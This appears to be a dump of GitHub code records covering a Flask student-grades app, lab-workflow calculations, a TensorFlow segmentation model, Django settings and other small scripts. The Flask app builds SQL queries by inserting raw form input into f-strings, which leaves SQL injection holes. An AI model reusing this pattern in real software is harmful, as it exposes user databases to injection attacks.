VALUES(\"{name}\",\"{lastname}\",\"{math1}\",\"{history1}\",\"{python1}\",\"{average}\",\"red\")'\n            cursor.execute(code)\n            connection.commit() \n    else:\n        return 'fill the form with the correct points, from 0 to 100.'\n\n# ფუნქცია რომელიც უბრალოდ მაძლევს ყველა სტუდენტის მონაცემებს რადგან გამოვიტანო ცხრილში\ndef showAll():\n    code = 'SELECT * FROM users'\n    cursor.execute(code)\n    sourse = cursor.fetchall()\n    return sourse\n#ფუნქცია რომელიც მაძლევს კონკრეტულ სტუდენტებს დასერჩილი სახელისა და გვარის მიხედვით \ndef showconcret(source):\n    newlist = []\n    word =''\n    for i in source:\n        if i!=\" \":\n            word += i\n        else :\n            newlist.append(word)\n            word = '' \n    newlist.append(word)        \n    try:\n        code = f'SELECT * FROM users WHERE name LIKE \"%{newlist[0]}%\" AND lastname LIKE \"%{newlist[1]}%\"'\n        print(code)\n        cursor.execute(code)\n        sourse = cursor.fetchall()\n        print(source)\n        return sourse    \n        \n    except:\n        try:\n             code = f'SELECT * FROM users WHERE name LIKE \"%{newlist[0]}%\"'\n             print(code)\n             cursor.execute(code)\n             sourse = cursor.fetchall()\n             print(sourse)\n             print('kk')\n             if sourse!=[]:\n               return sourse  \n             else:\n                 code = f'SELECT * FROM users WHERE lastname LIKE \"%{newlist[0]}%\"'\n                 print(code)\n                 cursor.execute(code)\n                 sourse = cursor.fetchall()\n                 print(source)\n                 return sourse    \n           \n        except:\n            try:\n             code = f'SELECT * FROM users WHERE lastname=\"{newlist[0]}\"'\n             print(code)\n             cursor.execute(code)\n             sourse = cursor.fetchall()\n             print(source)\n             return sourse    \n            except:\n                print('idk')\n#ვრუთავ :/ ჰოსტს    \n@app.route('/',methods=['POST','GET'])\ndef mainPage():\n    if request.method == 'GET':\n        student = showAll() \n        return render_template('main.html',students = student)\n\n    elif request.method == 'POST':\n        info = request.form\n        hm = insertInformationIndb(info['name'],info['lastname'],info['math'],info['history'],info['python'])\n\n        if hm !='fill the form with the correct points, from 0 to 100.':\n            student = showAll()\n            return render_template('main.html',students = student)\n\n        else:\n            student = showAll()\n            return render_template('main.html',students = student,sms = hm) \n\n# ვრუთავ წაშლის ჰოსტს\n@app.route('/deleted',methods=['POST'])\ndef deleted():\n    info = request.form\n    info = list(info)\n    newlist = []\n    word =''\n\n    for i in info[0]:\n        \n        if i!=\" \":\n            word += i\n        else :\n            newlist.append(word)\n            word = '' \n\n    newlist.append(word) \n    code =   f'DELETE FROM users WHERE name=\"{newlist[0]}\" AND lastname=\"{newlist[1]}\"'\n    cursor.execute(code)\n    connection.commit() \n    print(newlist)\n    return redirect('/')     \n# ვრუთავ სტუდენტის წაშლის ჰოსტს\n@app.route('/result',methods = ['POST','GET'])\ndef result():\n    if request.method=='POST':\n         source = request.form\n         result1 = showconcret(source['info'])\n         print(result1)\n         return render_template('result.html',students = result1)\n\nif __name__ == '__main__':\n   app.run(debug=True)\n","repo_name":"bonitobonito2/student-manegment-system-fllask-python","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5579,"program_lang":"python","lang":"ka","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32731428465","text":"#!/usr/bin/env python\nDESC=\"\"\"EPP script to performe calculations in some different steps in the twist WF\n\n\nMaya Brandi\n\n\nScience for Life Laboratory, Stockholm, Sweden\n\"\"\" \nfrom argparse import ArgumentParser\nfrom genologics.lims import Lims\nfrom genologics.config import BASEURI,USERNAME,PASSWORD\nfrom genologics.entities import Process\nimport sys\n\nclass CalculationsTwist:\n    def __init__(self, process):\n        self.process = process\n        self.iom = process.input_output_maps\n        self.artifacts = []\n        self.okej = 0\n        self.failed = 0\n        self.missing_udfs = []\n        self.low_conc = 0\n\n    def get_artifacts(self, process_type):\n        if process_type== 'libval':\n            self.artifacts = [io[1]['uri'] for io in self.iom if io[1]['output-generation-type'] == 'PerInput']\n        else:\n            all_artifacts = self.process.all_outputs(unique=True)\n            self.artifacts = filter(lambda a: a.output_type == \"Analyte\" , all_artifacts)\n\n    def calculate_volumes_for_aliquot(self):\n        for art in self.artifacts:\n            amount = art.udf.get('Amount (ng)')\n            concentration = art.udf.get('Concentration')\n            amount_needed = art.udf.get('Amount needed (ng)')\n            if None in [amount, concentration, amount_needed]:\n                self.failed +=1\n                self.missing_udfs += ['Amount (ng)', 'Concentration', 'Amount needed (ng)']\n                continue\n            art.udf['Sample Volume (ul)'] = amount_needed/float(concentration)\n            art.udf['Volume H2O (ul)'] = 30 - art.udf['Sample Volume (ul)']\n            art.put()\n            self.okej +=1\n    \n    def calculate_volumes_for_pooling(self):\n        all_volumes = [] \n        for pool in self.artifacts:\n            total_volume = 0\n            pool_size = pool.udf.get('Total Amount (ng)')\n            artifacts = pool.input_artifact_list()\n            total_reads = 0\n            for art in artifacts:\n                reads = art.samples[0].udf.get('Reads missing (M)')\n                if reads:\n                    total_reads += reads\n            if total_reads == 0:\n                sys.exit('All samples seem to have Missing Reads = 0. You dont want to sequence any of the samples?')\n            for art in artifacts:\n                reads = art.samples[0].udf.get('Reads missing (M)')\n                concentration = art.udf.get('Concentration')\n                if None in [reads, concentration]:\n                    self.missing_udfs += ['Reads missing (M)', 'Concentration']\n                    total_volume = None\n                    break\n                fract_of_pool = reads/float(total_reads)\n                amount = pool_size * fract_of_pool\n                vol = amount/concentration\n                art.udf['Volume of sample (ul)'] = vol\n                art.put()            \n                total_volume += vol\n            if total_volume:\n                pool.udf['Total Volume (ul)'] = total_volume\n                all_volumes.append(total_volume)\n                self.okej +=1\n            else:\n                self.failed +=1\n        for pool in self.artifacts:\n            if pool.udf.get('Total Volume (ul)'):\n                pool.udf['Volume H2O (ul)'] = max(all_volumes) - pool.udf.get('Total Volume (ul)')\n                pool.put()\n            \n\n    def calcualate_amount_for_libval(self):\n        sample_volume = self.process.udf.get('Sample Volume (ul)')\n        amount_needed = self.process.udf.get('Amount Needed (ng)')\n        for art in self.artifacts:\n            concentration = art.udf.get('Concentration')\n            if concentration == None:\n                self.failed +=1\n                self.missing_udfs += ['Concentration']\n                continue\n            art.udf['Amount (ng)'] = concentration*sample_volume\n            if art.udf['Amount (ng)'] < amount_needed:\n                art.qc_flag = 'FAILED'\n            else:\n                art.qc_flag = 'PASSED'\n            art.put()\n            self.okej +=1\n\ndef main(lims,args):\n    process = Process(lims, id = args.pid)\n    AT = CalculationsTwist(process)\n    AT.get_artifacts(args.calculate)\n    if args.calculate == 'pooling':\n        AT.calculate_volumes_for_pooling()\n    elif args.calculate == 'libval':\n        AT.calcualate_amount_for_libval()\n    elif args.calculate == 'aliquot':\n        AT.calculate_volumes_for_aliquot()\n    else:\n        sys.exit('Non valid argument given. -c can take pooling/libval/aliquot')\n    \n    abstract = ''\n    if AT.failed:\n        missing = ', '.join( list(set(AT.missing_udfs)))\n        abstract += 'Failed to perform calculations for '+ str(AT.failed)+ ' samples. Some of the following udfs are invalid or missing: ' +   missing + '. '\n    if AT.okej:\n        abstract += 'Performed calculations for '+ str(AT.okej)+ ' samples.'\n\n    if AT.failed:\n        sys.exit(abstract)\n    else:\n        print >> sys.stderr, abstract\n\nif __name__ == \"__main__\":\n    parser = ArgumentParser(description=DESC)\n    parser.add_argument('-p', dest = 'pid',\n                        help='Lims id for current Process')\n    parser.add_argument(\"-c\", dest='calculate', help = 'pooling/libval/aliquot')\n    args = parser.parse_args()\n\n    lims = Lims(BASEURI, USERNAME, PASSWORD)\n    lims.check_version()\n\n    main(lims, args)\n","repo_name":"mayabrandi/clinical_EPPs","sub_path":"EPPs/calculations_twist.py","file_name":"calculations_twist.py","file_ext":"py","file_size_in_byte":5302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15365832182","text":"from unet2d import build_UNet2D\nimport tensorflow as tf\nimport collections\n\n\ndef nodule_seg(data, label, weight, flags):\n    net = collections.namedtuple('Network',\n                                 'loss,mask,train_op,learning_rate,global_step,accuracy_front,accuracy_back,label,unweighted_loss')\n\n    with tf.variable_scope('forward',reuse=tf.AUTO_REUSE):\n        unet = build_UNet2D(data, flags.epsilon, flags.b_momentum, flags.num_class)\n\n    with tf.variable_scope('build_loss',reuse=tf.AUTO_REUSE):\n        convert_label = tf.one_hot(label, depth=flags.num_class, axis=-1)\n        flat_logits = tf.reshape(unet,[-1,2])\n        flat_labels = tf.reshape(convert_label,[-1,2])\n        flat_weights = tf.reshape(weight,[-1,])\n        if flags.mode == 'train':\n            loss_map = tf.nn.softmax_cross_entropy_with_logits(logits=flat_logits,\n                                                               labels=flat_labels)\n            weighted_loss = tf.multiply(loss_map, flat_weights)\n\n            loss = tf.reduce_mean(weighted_loss)\n            unweighted_loss = tf.reduce_mean(loss_map)\n        else:\n            loss_map = tf.nn.softmax_cross_entropy_with_logits(logits=flat_logits,\n                                                               labels=flat_labels)\n            unweighted_loss = tf.reduce_mean(loss_map)\n\n    with tf.variable_scope('compute_output',reuse=tf.AUTO_REUSE):\n        prob = tf.arg_max(unet, -1)\n        mask = tf.cast(prob, tf.uint8)\n\n    with tf.variable_scope('accuracy',reuse=tf.AUTO_REUSE):\n        mask_front = tf.cast(tf.equal(mask, 1), tf.float32)\n        mask_back = tf.cast(tf.equal(mask, 0), tf.float32)\n\n        label_front = tf.cast(tf.equal(label, 255), tf.float32)\n        label_back = tf.cast(tf.equal(label, 0), tf.float32)\n\n        pp = tf.equal(tf.add(mask_front, label_front), 2)\n        bp = tf.equal(tf.add(mask_back, label_back), 2)\n\n        accuracy_front = tf.reduce_sum(tf.cast(pp, tf.float32)) / tf.reduce_sum(label_front)\n        accuracy_back = tf.reduce_sum(tf.cast(bp, tf.float32)) / tf.reduce_sum(label_back)\n\n    with tf.variable_scope('learning_rate_and_global_step',reuse=tf.AUTO_REUSE):\n        global_step = tf.train.get_or_create_global_step()\n        learning_rate = tf.train.exponential_decay(flags.learning_rate, global_step, flags.decay_steps,\n                                                   flags.decay_rate, staircase=flags.stair)\n        incr_global_step = tf.assign(global_step, global_step + 1)\n\n    with tf.variable_scope('train',reuse=tf.AUTO_REUSE):\n        optimizer = tf.train.AdamOptimizer(learning_rate, beta1=flags.beta)\n        train_op = tf.group(optimizer.minimize(loss), incr_global_step)\n\n    return net(loss=loss, train_op=train_op,\n               accuracy_front=accuracy_front,\n               accuracy_back=accuracy_back,\n               learning_rate=learning_rate,\n               global_step=global_step,\n               unweighted_loss=unweighted_loss,\n               label=label,\n               mask=mask)\n","repo_name":"greatlog/nodule_segmentation","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13212035104","text":"import pyximport; pyximport.install(language_level=3) # compile Cython\n\nimport time\nimport primes_cython\nimport primes_python\n\n\ndef run(primes_func):\n    start = time.time()\n    _ = primes_func(1000)\n    end = time.time()\n    return end - start\n\ndef main():\n    elapsed_cython = run(primes_cython.primes) * 1000\n    print(\"Cython version of primes, elapsed time: {:0.2f} ms\".format(elapsed_cython))\n\n    elapsed_python = run(primes_python.primes) * 1000\n    print(\"Python version of primes, elapsed time: {:0.2f} ms\".format(elapsed_python))\n\n    speed_up = elapsed_python // elapsed_cython\n    print(\"Speed of Cython vs pure Python: {}X\".format(speed_up))\n    # The speed_up is about 21X\n\nif __name__ == \"__main__\":\n    main()","repo_name":"iwmq/coding_notes","sub_path":"cython_test/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26881689744","text":"import numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport json\nimport os\nimport math\nimport glob\nimport copy\n\n\"\"\"\nThis script makes a graph of projected brightness and superimposed one. \ninput: Gd9micron_making_projection/*.json\ninput: Gd9micron_making_superimposed_graph/*.png; two types of graphs.\n\ncosole out example:\nOriginal_0_00000000_0_8.png.json: left_edge = 47 pixel, 2.585 micron / right_edge = 42 pixel, 2.310 micron\nOriginal_0_00000001_0_17.png.json: left_edge = 49 pixel, 2.695 micron / right_edge = 41 pixel, 2.255 micron\nOriginal_0_00000002_0_15.png.json: left_edge = 47 pixel, 2.585 micron / right_edge = 39 pixel, 2.145 micron\nOriginal_0_00000003_0_19.png.json: left_edge = 43 pixel, 2.365 micron / right_edge = 41 pixel, 2.255 micron\nOriginal_0_00000004_0_18.png.json: left_edge = 44 pixel, 2.420 micron / right_edge = 42 pixel, 2.310 micron\nOriginal_0_00000005_0_17.png.json: left_edge = 47 pixel, 2.585 micron / right_edge = 44 pixel, 2.420 micron\nOriginal_0_00000006_0_17.png.json: left_edge = 48 pixel, 2.640 micron / right_edge = 40 pixel, 2.200 micron\nOriginal_0_00000007_0_18.png.json: left_edge = 54 pixel, 2.969 micron / right_edge = 36 pixel, 1.980 micron\n\"\"\"\n\n\nif __name__ == '__main__':\n\n    # output\n    output_dir = \"Gd9micron_making_superimposed_graph\"\n    os.makedirs(f'{output_dir}', exist_ok=True)\n\n    pix_to_micron = 0.05499# 2020.02.28 HENPneutronandemulsionpresentation.pdf\n\n    list_json_file = glob.glob(\"Gd9micron_making_projection/*.json\")\n    for f in list_json_file:\n        base_name = os.path.basename(f)\n\n        with open(f, 'r') as jsonfile:\n            file_info = json.loads(jsonfile.read())\n\n        lam = 9.0 / 0.05499 #file_info['fitting_lambda']\n        phi = file_info['fitting_phi']\n\n        \n        list_peak_x = []\n        i_peak = 0\n        while True:\n            x = lam / (2 * np.pi) * (np.pi * (1 + 4 * i_peak) / 2 - phi)\n            if x > len(file_info['array_projection']):\n                break\n            list_peak_x.append(x)\n            i_peak += 1\n\n\n        fig = plt.figure(figsize=(6.0, 6.0))\n        #\n        ax = fig.add_subplot(1, 1, 1)\n        graph_x = np.arange(0, len(file_info['array_projection']))\n        ax.plot(graph_x, file_info['array_projection'], marker='o', c = 'blue',linewidth=6)\n        for p in list_peak_x:\n            ax.axvline(p, c = 'r')\n        #ax.set_ylim(0, 255)\n        ax.set_title(\"Y projection\")\n        ax.set_xlabel(\"Y\")\n        ax.set_ylabel(\"average brightness\")\n        #\n        fig.tight_layout()\n        plt.savefig(f\"{output_dir}/{base_name}_peaks.png\")\n        #plt.show()\n        plt.clf()\n\n\n\n\n        list_superimposed_val = [0 for i in range(int(lam))]\n        for j in range(len(list_peak_x)-1):\n        #for j in range(1):\n            for i in range(int(lam)):\n                x_pointer = int(list_peak_x[j] + i)\n                if x_pointer >= len(file_info['array_projection']):\n                    break\n                list_superimposed_val[i] += file_info['array_projection'][x_pointer]\n\n\n        left_height = abs(list_superimposed_val[0] - min(list_superimposed_val))\n        left_10 = list_superimposed_val[0] - left_height * 0.10\n        left_90 = list_superimposed_val[0] - left_height * 0.90\n        #\n        left_x_10 = 0\n        left_x_90 = 0\n        for i, v in enumerate(list_superimposed_val):\n            if v < left_10:\n                left_x_10  = i\n                break\n        for i, v in enumerate(list_superimposed_val):\n            if v < left_90:\n                left_x_90  = i\n                break\n        left_edge = left_x_90 - left_x_10\n        print(f\"{base_name}: left_edge = {left_edge} pixel, {left_edge * pix_to_micron:.3f} micron / \", end=\"\")\n\n\n\n        right_height = abs(list_superimposed_val[-1] - min(list_superimposed_val))\n        right_10 = list_superimposed_val[-1] - right_height * 0.10\n        right_90 = list_superimposed_val[-1] - right_height * 0.90\n        right_x_10 = 0\n        right_x_90 = 0\n        for i, v in enumerate(reversed(list_superimposed_val)):\n            if v < right_10:\n                right_x_10  = i\n                break\n        for i, v in enumerate(reversed(list_superimposed_val)):\n            if v < right_90:\n                right_x_90  = i\n                break\n        right_edge = right_x_90 - right_x_10\n        print(f\"right_edge = {right_edge} pixel, {right_edge * pix_to_micron:.3f} micron\")\n\n\n        #\n        graph_x = np.arange(0, len(list_superimposed_val))\n        fig = plt.figure(figsize=(12.0, 6.0))\n        #\n        ax = fig.add_subplot(1, 2, 1)\n        ax.plot(graph_x, list_superimposed_val, c = 'blue', linewidth=6)\n        ax.axhline(min(list_superimposed_val),c= 'r')\n        ax.axhline(left_10, c= 'r')\n        ax.axhline(left_90, c= 'r')\n        ax.axhline(list_superimposed_val[0], c= 'r')\n        ax.set_title(\"Brightness\")\n        ax.set_xlabel(\"phase [pixel]\")\n        ax.set_ylabel(\"brightness\")\n        ax.text(len(list_superimposed_val)/4, left_90, f\"{left_edge:.2f} pixel, {left_edge * pix_to_micron:.2f} micron\", size=18)\n\n\n        #\n        ax = fig.add_subplot(1, 2, 2)\n        ax.plot(graph_x, list_superimposed_val, c = 'blue', linewidth=6)\n        ax.axhline(min(list_superimposed_val), c= 'r')\n        ax.axhline(right_10, c= 'r')\n        ax.axhline(right_90, c= 'r')\n        ax.axhline(list_superimposed_val[-1], c= 'r')\n        ax.set_title(\"Brightness\")\n        ax.set_xlabel(\"phase [pixel]\")\n        ax.set_ylabel(\"brightness\")\n        ax.text(len(list_superimposed_val)/4, right_90, f\"{right_edge:.2f} pixel, {right_edge * pix_to_micron:.2f} micron\", size=18)\n\n        #\n        fig.tight_layout()\n        plt.savefig(f\"{output_dir}/{base_name}_riging_edge.png\")\n        #plt.show()\n        plt.clf()\n\n\n\n\n","repo_name":"AbdulMuneem25/edge_analysis","sub_path":"Gd9micron_making_superimposed_graph.py","file_name":"Gd9micron_making_superimposed_graph.py","file_ext":"py","file_size_in_byte":5767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30729559965","text":"\"\"\"Test FASTA to FASTQ conversion.\"\"\"\n\nimport os\nimport tempfile\n\nfrom gencdna.wgs.fasta_to_fastq import convert\n\n\ndef test_fasta_to_fastq_convert(\n    unconcatenated_fasta,\n    ref_fastq_reads,\n    snapshot,\n    max_qual=93,\n):\n    with tempfile.NamedTemporaryFile('wt') as fastq_reads:\n        convert(\n            input_fasta_file=unconcatenated_fasta,\n            output_fastq_file=fastq_reads.name,\n            max_qual=max_qual,\n        )\n        snapshot.snapshot_dir = os.path.dirname(ref_fastq_reads)\n        with open(fastq_reads.name, 'rt') as actual_fastq_reads:\n            snapshot.assert_match(\n                actual_fastq_reads.read(),\n                ref_fastq_reads,\n            )\n","repo_name":"igor-sb/gencdna","sub_path":"tests/wgs/test_fasta_to_fastq.py","file_name":"test_fasta_to_fastq.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"39843885135","text":"# 1-script que leia o nome e digite as boas vindas\r\n\r\nnome = input('Diga seu nome, por gentileza. ')\r\nprint('Seja bem vindo {}, é um prazer te conhecer.'.format(nome))\r\n\r\n# 2- script que leia a data de nascimento\r\n\r\ndia = input('Qual o dia que você nasceu? ')\r\nmes = input('Qual o mês que você nasceu? ')\r\nano = input('Qual o ano que você nasceu? ')\r\nprint('Você nasceu em {}/{}/{}. Correto!?'.format(dia,mes,ano))\r\n\r\n# 3- script que leia dois numeros e tente mostrar a soma entre eles.\r\n\r\nn1 = int(input('Diga um número '))\r\nn2 = int (input('Diga outro número '))\r\nsoma = n1 + n2\r\nprint('A soma dos números é {}'.format(soma))\r\n","repo_name":"savioricardog/Atividades_Python_Curso_em_Video","sub_path":"aula01.py","file_name":"aula01.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25173873297","text":"# coding: utf-8\n# Django settings for ninan project.\n\nfrom os.path import join, abspath, dirname\n\nhere = lambda *x: join(abspath(dirname(__file__)), *x)\nPROJECT_ROOT = here(\"..\", \"..\")\nroot = lambda *x: join(abspath(PROJECT_ROOT), *x)\n\nADMINS = (('NinanAdmin', 'no-reply@ninan.com'), )\n\nMANAGERS = ADMINS\n\n# Hosts/domain names that are valid for this site; required if DEBUG is False\n# See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts\nALLOWED_HOSTS = ['ninan.sinaapp.com', 'localhost',\n                 'www.ninan.sinaapp.com',\n                 '1.ninan.sinaapp.com',\n                 'ninan.vipsinaapp.com',\n                 '127.0.0.1']\n\nINTERNAL_IPS = ('127.0.0.1',)\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# In a Windows environment this must be set to your system time zone.\nTIME_ZONE = 'Asia/Shanghai'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'zh-cn'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale.\nUSE_L10N = True\n\n# If you set this to False, Django will not use timezone-aware datetimes.\nUSE_TZ = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/var/www/example.com/media/\"\nMEDIA_ROOT = root('static/upload')\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://example.com/media/\", \"http://media.example.com/\"\nMEDIA_URL = '/upload/'\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/var/www/example.com/static/\"\nSTATIC_ROOT = root('static')\n\nSTATIC_URL = '/static/'\n# URL prefix for static files.\n# Example: \"http://example.com/static/\", \"http://static.example.com/\"\n# Additional locations of static files\nSTATICFILES_DIRS = (\n    # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n    # Always use forward slashes, even on Windows.\n    # Don't forget to use absolute paths, not relative paths.\n    root('ninan/static'),\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n    'django.contrib.staticfiles.finders.FileSystemFinder',\n    'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n    # 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '%qia1@8a)g(h#3nnnnnnnnnnnnnnnnnnnn'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n    'django.template.loaders.filesystem.Loader',\n    'django.template.loaders.app_directories.Loader',\n    # 'django.template.loaders.eggs.Loader',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n    \"django.contrib.auth.context_processors.auth\",\n    \"django.core.context_processors.debug\",\n    \"django.core.context_processors.i18n\",\n    \"django.core.context_processors.media\",\n    \"django.core.context_processors.static\",\n    \"django.core.context_processors.tz\",\n    \"django.contrib.messages.context_processors.messages\",\n    'social.apps.django_app.context_processors.backends',\n    'social.apps.django_app.context_processors.login_redirect',\n    'django.core.context_processors.request',\n)\n\nMIDDLEWARE_CLASSES = (\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.locale.LocaleMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',\n    # Uncomment the next line for simple clickjacking protection:\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n)\n\nROOT_URLCONF = 'ninan.urls'\n\n# Python dotted path to the WSGI application used by Django's runserver.\nWSGI_APPLICATION = 'ninan.wsgi.application'\n\nTEMPLATE_DIRS = (\n    # Put strings here, like \"/home/html/django_templates\" or\n    # \"C:/www/django/templates\".\n    # Always use forward slashes, even on Windows.\n    # Don't forget to use absolute paths, not relative paths.\n    root('templates'),\n)\n\nLOCALE_PATHS = (\n    root('locale'),\n)\n\n\nFIXTURE_DIRS = (\n    root('fixture'),\n)\n\nLANGUAGES = (\n    ('en', 'English'),\n    ('zh-cn', u'中文'),\n)\n\nINSTALLED_APPS = (\n    'django.contrib.auth',\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.sites',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    # Uncomment the next line to enable the admin:\n    'django.contrib.admin',\n    # Uncomment the next line to enable admin documentation:\n    'django.contrib.sitemaps',\n    'django.contrib.flatpages',\n    'social.apps.django_app.default',\n    'note',\n    'reminder',\n    'weixin',\n    'south',\n    'provider',\n    'provider.oauth2',\n    'tastypie',\n    'milestone',\n    'backends',\n    'endless_pagination',\n    'xlink',\n    'feedfish',\n    'handschopping',\n    'haystack',\n)\n\nDATETIME_FORMAT = 'Y-m-d H:i:s'\n\n# POP3 config\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_HOST = 'smtp.163.com'\nEMAIL_PORT = '25'\nEMAIL_HOST_USER = ''\nEMAIL_HOST_PASSWORD = ''\nEMAIL_USE_TLS = False\nSERVER_EMAIL = DEFAULT_FROM_EMAIL = EMAIL_HOST_USER\n\n\nDEFAULT_FILE_STORAGE = 'sae.ext.django.storage.backend.Storage'\n\nSTORAGE_BUCKET_NAME = ''\n\nAMD_ROOT = 'sheffield'\n\nEXPRESS_ID = ''\nEXPRESS_KEY = ''\n\nCACHE_USED_BY_DEBUG = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache',\n        'LOCATION': '127.0.0.1:11211',\n    }\n}\n\nCACHE_USED_BY_SAE = {\n    'default': {\n        'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache',\n        'LOCATION': '127.0.0.1:11211'\n    }\n}\n\nSESSION_ENGINE = 'django.contrib.sessions.backends.cache'\n\nWEIXIN_TOKEN = ''\nWEIXIN_EMAIL = ''\nWEIXIN_PASSWORD = ''\nWEIXIN_ID = ''\nWEIXIN_DEFAULT_COVER = 'uploads/cover.jpg'\nWEIXIN_DEFAULT_COVER_ID = '201600537'\n\n# ------------------ Cache Time ---------------------------------------\nNOTE_VIEW_CACHE_TIME = 86400\nWEIXIN_CACHE_TIME = 86400\nCACHE_MIDDLEWARE_ANONYMOUS_ONLY = True\n\n# ------------------- Social ------------------------------------------\nAUTHENTICATION_BACKENDS = (\n    'social.backends.weibo.WeiboOAuth2',\n    'social.backends.douban.DoubanOAuth2',\n    'social.backends.email.EmailAuth',\n    'django.contrib.auth.backends.ModelBackend',\n)\n\nLOGIN_URL = '/login/'\nLOGIN_REDIRECT_URL = '/done/'\nURL_PATH = ''\nSOCIAL_AUTH_STRATEGY = 'social.strategies.django_strategy.DjangoStrategy'\nSOCIAL_AUTH_STORAGE = 'social.apps.django_app.default.models.DjangoStorage'\nSOCIAL_AUTH_GOOGLE_OAUTH_SCOPE = [\n    'https://www.googleapis.com/auth/drive',\n    'https://www.googleapis.com/auth/userinfo.profile'\n]\n# SOCIAL_AUTH_EMAIL_FORM_URL = '/signup-email'\nSOCIAL_AUTH_EMAIL_FORM_HTML = 'email_signup.html'\nSOCIAL_AUTH_EMAIL_VALIDATION_FUNCTION = 'ninan.mail.send_validation'\nSOCIAL_AUTH_EMAIL_VALIDATION_URL = '/email-sent/'\n# SOCIAL_AUTH_USERNAME_FORM_URL = '/signup-username'\nSOCIAL_AUTH_USERNAME_FORM_HTML = 'username_signup.html'\n\nSOCIAL_AUTH_PIPELINE = (\n    'social.pipeline.social_auth.social_details',\n    'social.pipeline.social_auth.social_uid',\n    'social.pipeline.social_auth.auth_allowed',\n    'social.pipeline.social_auth.social_user',\n    'social.pipeline.user.get_username',\n    'ninan.pipeline.require_email',\n    'social.pipeline.mail.mail_validation',\n    'social.pipeline.user.create_user',\n    'social.pipeline.social_auth.associate_user',\n    'social.pipeline.social_auth.load_extra_data',\n    'social.pipeline.user.user_details'\n)\n\nSOCIAL_AUTH_WEIBO_KEY = ''\nSOCIAL_AUTH_WEIBO_SECRET = ''\nSOCIAL_AUTH_DOUBAN_OAUTH2_KEY = ''\nSOCIAL_AUTH_DOUBAN_OAUTH2_SECRET = ''\n\nRESTRUCTUREDTEXT_FILTER_SETTINGS = {\n    'initial_header_level': '3',\n}\n\nENDLESS_PAGINATION_PER_PAGE = 4\nENDLESS_PAGINATION_LOADING = '<img src=\"/static/img/loader.gif\" \\\n    alt=\"loading\" />'\n\n# Used by jieba\nSAE_STORAGE_BUCKET_NAME = ''\n\nHAYSTACK_CONNECTIONS = {\n    'default': {\n        'ENGINE': 'utils.whoosh.whoosh_cn_backend.WhooshEngine',\n        'PATH': 'whoosh',\n        'STORAGE': 'file',\n    },\n}\n","repo_name":"leigeng2014/ninantrash","sub_path":"ninan/settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":8635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5598294149","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport sys\nimport json\nimport datetime\n\nfrom twisted.internet import (\n    reactor,\n    ssl,\n)\n\nfrom autobahn.twisted.websocket import (\n    WebSocketServerProtocol,\n    WebSocketServerFactory,\n    listenWS,\n)\n\nfrom settings import (\n    KEY_PATH_CRT,\n    KEY_PATH_KEY,\n    PORT_FOR_LOGS_SERVER,\n)\n\n\n\nclass LogsServerProtocol(WebSocketServerProtocol):\n\n    def __init__(self):\n        super().__init__()\n\n    def onConnect(self, request):\n        print('Client connecting: {0}'.format(request.peer))\n\n    def onOpen(self):\n        print('WebSocket connection open.')\n        self.factory.register(self)\n\n    def onMessage(self, message, isBinary):\n        if isBinary:\n            print('Binary message received: {0} bytes'.format(len(message)))\n        else:\n            print('Text message received: {0}'.format(message.decode('utf8')))\n\n        self.sendMessage(message, isBinary)  # echo back message\n\n    def onClose(self, wasClean, code, reason):\n        print('WebSocket connection closed: 